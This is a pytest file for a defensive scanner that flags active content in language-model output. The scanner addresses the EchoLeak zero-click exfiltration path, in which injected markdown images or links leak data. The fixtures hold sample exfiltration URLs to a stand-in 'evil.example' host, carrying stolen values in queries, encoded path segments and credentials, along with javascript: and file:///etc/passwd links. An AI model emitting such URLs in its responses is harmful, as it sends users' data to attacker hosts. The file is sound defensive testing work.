llm-ingestion-pipeline-security/tests/test_active_content.py

"""Tests for the report-only active-content detector (review 2026-07, Session A).

``scan_active_content`` closes the EchoLeak wiring hole (CVE-2025-32711): the
active-content classes ``neutralize`` can defang — markdown images/links,
reference-link definitions, angle-bracket autolinks, raw active HTML, ``data:``
URIs — must also surface as *findings* on the standard gate, so
``screen_output`` and ``okf.import_bundle`` dispose of them instead of admitting
them silently (OWASP LLM05 — Improper Output Handling).

Report-only twin of ``neutralize`` (design principles 3 & 4): it never mutates,
and severities mirror the defanger's (image / raw-html / data-uri HIGH, links
MEDIUM). One deliberate divergence: markdown images/links are flagged only when
the URL is absolute or protocol-relative — a relative in-document link carries
no exfiltration affordance, and flagging it would silently over-block legitimate
wiki content (design principle 5: over-blocking is a failure mode).
"""
from __future__ import annotations

import pytest

from llm_ingestion_guard import (
    scan_active_content,
    scan_output,
    screen_output,
    Disposition,
    PRESET_USER_UPLOAD,
)
from llm_ingestion_guard.okf import import_bundle, Origin, Channel
from llm_ingestion_guard.report import Severity, Source

# The zero-click EchoLeak primitive: an auto-fetched markdown image URL.
_ECHOLEAK = "![x](https://evil.example/leak?d=stolen)"


# --- the wiring hole the review proved (Probe 1/1b/2) ------------------------

def test_markdown_image_is_reported():
    report = scan_active_content(_ECHOLEAK)
    img = [f for f in report.findings if f.label == "active:markdown-image"]
    assert len(img) == 1
    assert img[0].severity is Severity.HIGH
    assert img[0].detector == "active_content"
    assert img[0].owasp == "LLM05"


def test_scan_output_includes_active_content():
    labels = {f.label for f in scan_output(_ECHOLEAK).findings}
    assert "active:markdown-image" in labels


def test_screen_output_reports_echoleak():
    # Review Probe 1: this was WARN with findings=[] — the unsafe admit.
    decision = screen_output(_ECHOLEAK, PRESET_USER_UPLOAD)
    assert decision.disposition is not Disposition.WARN, decision


def test_okf_import_flags_body_echoleak():
    # Review Probe 2: the same payload in an OKF concept body was ADMITted.
    bundle = {"note.md": "---\ntype: table\n---\n" + _ECHOLEAK + "\n"}
    result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC)
    assert result.disposition is not Disposition.WARN, result


# --- each active-content class surfaces as a finding -------------------------

def test_inline_link_is_reported_medium():
    # Click-required carrier -> MEDIUM when the URL can carry a value outward.
    # (The ordinary form of the same construct is LOW; see the shape tests.)
    report = scan_active_content("click [here](https://evil.example/go?d=account) now")
    link = [f for f in report.findings if f.label == "active:markdown-link"]
    assert len(link) == 1
    assert link[0].severity is Severity.MEDIUM


def test_reference_link_definition_is_reported():
    text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
    labels = {f.label for f in scan_active_content(text).findings}
    assert "active:reference-link" in labels


def test_autolink_is_reported():
    report = scan_active_content("read more <https://evil.example/x> here")
    assert any(f.label == "active:autolink" for f in report.findings)


def test_raw_active_html_is_reported():
    report = scan_active_content('<img src="https://evil.example/leak?d=x">')
    html = [f for f in report.findings if f.label == "active:raw-html"]
    assert len(html) == 1
    assert html[0].severity is Severity.HIGH


def test_data_uri_is_reported():
    report = scan_active_content("open data:text/html;base64,PHNjcmlwdD4= please")
    data = [f for f in report.findings if f.label == "active:data-uri"]
    assert len(data) == 1
    assert data[0].severity is Severity.HIGH


# --- false-positive guards: no exfil affordance -> no finding ----------------

def test_relative_link_is_not_flagged():
    # The OKF cross-link case: in-bundle links are the format's core mechanism.
    report = scan_active_content("See [orders](/tables/orders.md) and [notes](./notes.md).")
    assert report.found is False


def test_relative_image_is_not_flagged():
    report = scan_active_content("![diagram](images/arch.png)")
    assert report.found is False


def test_protocol_relative_url_is_flagged():
    # `//evil.example` resolves against the rendering host's scheme — external.
    report = scan_active_content("[x](//evil.example/leak)")
    assert any(f.label == "active:markdown-link" for f in report.findings)


def test_dangerous_scheme_link_is_flagged():
    report = scan_active_content("[x](javascript:alert(1))")
    assert any(f.label == "active:markdown-link" for f in report.findings)


def test_clean_prose_has_no_findings():
    text = ("A perfectly ordinary wiki paragraph. Costs $5! See section [1] below "
            "(really). if a < b and c > d then see [note]. the metadata: field.")
    assert scan_active_content(text).found is False


def test_benign_formatting_html_is_not_flagged():
    report = scan_active_content("This is <b>strong</b> and <em>emph</em> text.")
    assert report.found is False


# --- URL shape: severity tracks what the URL can CARRY (0.3.1) ---------------
# 0.3.0 graded on construct type, so `![diagram](https://example.com/arch.png)`
# — a URL that carries nothing outward — was HIGH and fail-secured every ordinary
# document on the upload preset. Severity now grades on URL *shape*: an ordinary
# external URL (bare path, no query, no opaque segment) is LOW; a URL that can
# move bytes outward keeps the carrier's full severity.

_ORDINARY = [
    ("image", "![diagram](https://example.com/diagrams/arch.png)", "active:markdown-image"),
    ("link", "See [the guide](https://learn.microsoft.com/en-us/azure/overview).", "active:markdown-link"),
    ("autolink", "Spec: <https://example.com/spec/v2>", "active:autolink"),
    ("refdef", "[guide]: https://example.com/docs/deployment-guide", "active:reference-link"),
]


@pytest.mark.parametrize("cid,text,label", _ORDINARY, ids=[c[0] for c in _ORDINARY])
def test_ordinary_external_url_is_low(cid, text, label):
    finding = [f for f in scan_active_content(text).findings if f.label == label]
    assert len(finding) == 1, f"{cid}: {label} not reported at all"
    assert finding[0].severity is Severity.LOW, f"{cid}: {finding[0].severity}"


_EXFIL_SHAPED_URLS = [
    ("query-carries-value", "https://evil.example/collect?d=account-identifier"),
    ("base64-path-segment", "https://evil.example/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png"),
    ("hex-id-path-segment", "https://evil.example/d41d8cd98f00b204e9800998ecf8427e/p.png"),
    ("percent-encoded-path", "https://evil.example/p/%73%65%63%72%65%74%76%61%6c%75%65"),
    ("opaque-subdomain", "https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.example/p.png"),
    ("userinfo-authority", "https://token:s3cr3tvalue@evil.example/p.png"),
]


@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
def test_exfil_shaped_image_keeps_high(cid, url):
    finding = [f for f in scan_active_content(f"![x]({url})").findings
               if f.label == "active:markdown-image"]
    assert len(finding) == 1, f"{cid}: image not reported"
    assert finding[0].severity is Severity.HIGH, f"{cid}: downgraded to {finding[0].severity}"


@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
def test_exfil_shaped_link_keeps_medium(cid, url):
    finding = [f for f in scan_active_content(f"[x]({url})").findings
               if f.label == "active:markdown-link"]
    assert len(finding) == 1, f"{cid}: link not reported"
    assert finding[0].severity is Severity.MEDIUM, f"{cid}: downgraded to {finding[0].severity}"


def test_fragment_is_not_treated_as_carrying():
    # A fragment never reaches the server, so it cannot carry data to the host a
    # renderer auto-fetches — and `…/overview#section` is the most common shape
    # in real documentation. The link-click nuance (an attacker page's JS *can*
    # read location.hash) is a documented residual, not a severity here.
    finding = [f for f in scan_active_content(
        "[prereqs](https://learn.microsoft.com/en-us/azure/overview#prerequisites)"
    ).findings if f.label == "active:markdown-link"]
    assert finding and finding[0].severity is Severity.LOW


def test_non_http_scheme_is_never_ordinary():
    # Only http(s) and protocol-relative URLs have an "ordinary" form. Anything
    # else (javascript:, ftp:, file:, ...) keeps the carrier's full severity
    # whatever its path looks like.
    for url in ("javascript:alert(1)", "ftp://example.com/pub/file.txt", "file:///etc/passwd"):
        finding = [f for f in scan_active_content(f"[x]({url})").findings
                   if f.label == "active:markdown-link"]
        assert finding and finding[0].severity is Severity.MEDIUM, url


def test_raw_html_and_data_uri_stay_high_regardless_of_url_shape():
    # These are active whatever the URL carries: a raw <img> is fetched by the
    # renderer and a data: URI executes its own payload. No ordinary form exists.
    html = [f for f in scan_active_content('<img src="https://example.com/logo.png">').findings
            if f.label == "active:raw-html"]
    assert html and html[0].severity is Severity.HIGH
    data = [f for f in scan_active_content("see data:text/plain,hello here").findings
            if f.label == "active:data-uri"]
    assert data and data[0].severity is Severity.HIGH


def test_worst_url_in_a_class_sets_severity_and_evidence():
    # An exfil URL hidden behind an ordinary one must not be masked by first-hit
    # evidence: the class reports the WORST member, with that member's evidence.
    text = ("![ok](https://example.com/logo.png) "
            "![bad](https://evil.example/collect?d=account-identifier)")
    img = [f for f in scan_active_content(text).findings if f.label == "active:markdown-image"][0]
    assert img.severity is Severity.HIGH
    assert img.count == 2
    assert "evil" in (img.evidence or ""), img.evidence


# --- counting and evidence hygiene -------------------------------------------

def test_image_is_not_double_counted_as_link():
    labels = {f.label for f in scan_active_content("![alt](https://evil.example/x)").findings}
    assert "active:markdown-image" in labels
    assert "active:markdown-link" not in labels


def test_autolink_is_not_double_counted_as_html():
    # `<https://...?src=x>` also parses as an HTML tag with a URL attribute; the
    # autolink pass must consume it first (mirrors neutralize's pass order).
    report = scan_active_content("<https://evil.example/leak?src=x>")
    labels = [f.label for f in report.findings]
    assert labels.count("active:autolink") == 1
    assert "active:raw-html" not in labels


def test_multiple_images_are_counted():
    report = scan_active_content("![a](https://x.example/1) ![b](https://y.example/2)")
    img = [f for f in report.findings if f.label == "active:markdown-image"][0]
    assert img.count == 2


def test_evidence_never_carries_a_fetchable_url():
    # Evidence is defanged (hxxps / bracketed dots): the report must be safe to
    # log and render without recreating the auto-fetch affordance it flagged.
    for payload in (_ECHOLEAK, '<img src="https://evil.example/leak?d=x">'):
        for f in scan_active_content(payload).findings:
            assert "https://" not in (f.evidence or ""), (f.label, f.evidence)


def test_default_source_is_output_and_override_respected():
    assert all(f.source is Source.OUTPUT
               for f in scan_active_content(_ECHOLEAK).findings)
    assert all(f.source is Source.INPUT
               for f in scan_active_content(_ECHOLEAK, source=Source.INPUT).findings)


# --- raw-HTML over-blocks measured on a vendor-docs corpus (2026-07-26) -------
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
# closed over-block should fail here and force the doc to be updated.

@pytest.mark.parametrize("cid,text", [
    # Fires on the URL-attr branch although the target is a relative doc route,
    # which cannot reach an attacker-controlled host. `Card` is not in the active
    # name set — the href alone carries it.
    ("relative-href-on-inactive-name",
     '<Card title="Quickstart" icon="play" href="/en/agent-sdk/quickstart">'),
    # Fires on the *name* branch: names are lower-cased and `frame` is in the
    # active set (legacy HTML framesets), while `Frame` is a common MDX component.
    ("mdx-component-named-like-a-tag", "<Frame>"),
])
def test_raw_html_overblocks_are_still_high(cid, text):
    finding = [f for f in scan_active_content(text).findings
               if f.label == "active:raw-html"]
    assert len(finding) == 1, f"{cid}: raw-html not reported"
    assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"


def test_raw_html_counts_end_tags():
    # `</a>` is active by name on its own, so a corpus census counting only opening
    # tags understates this detector's `count`. The class still collapses to ONE
    # finding — the count is what moves.
    solo = [f for f in scan_active_content("</a>").findings
            if f.label == "active:raw-html"]
    assert len(solo) == 1 and solo[0].count == 1

    pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
            if f.label == "active:raw-html"]
    assert len(pair) == 1, "a start/end pair must not split into two findings"
    assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"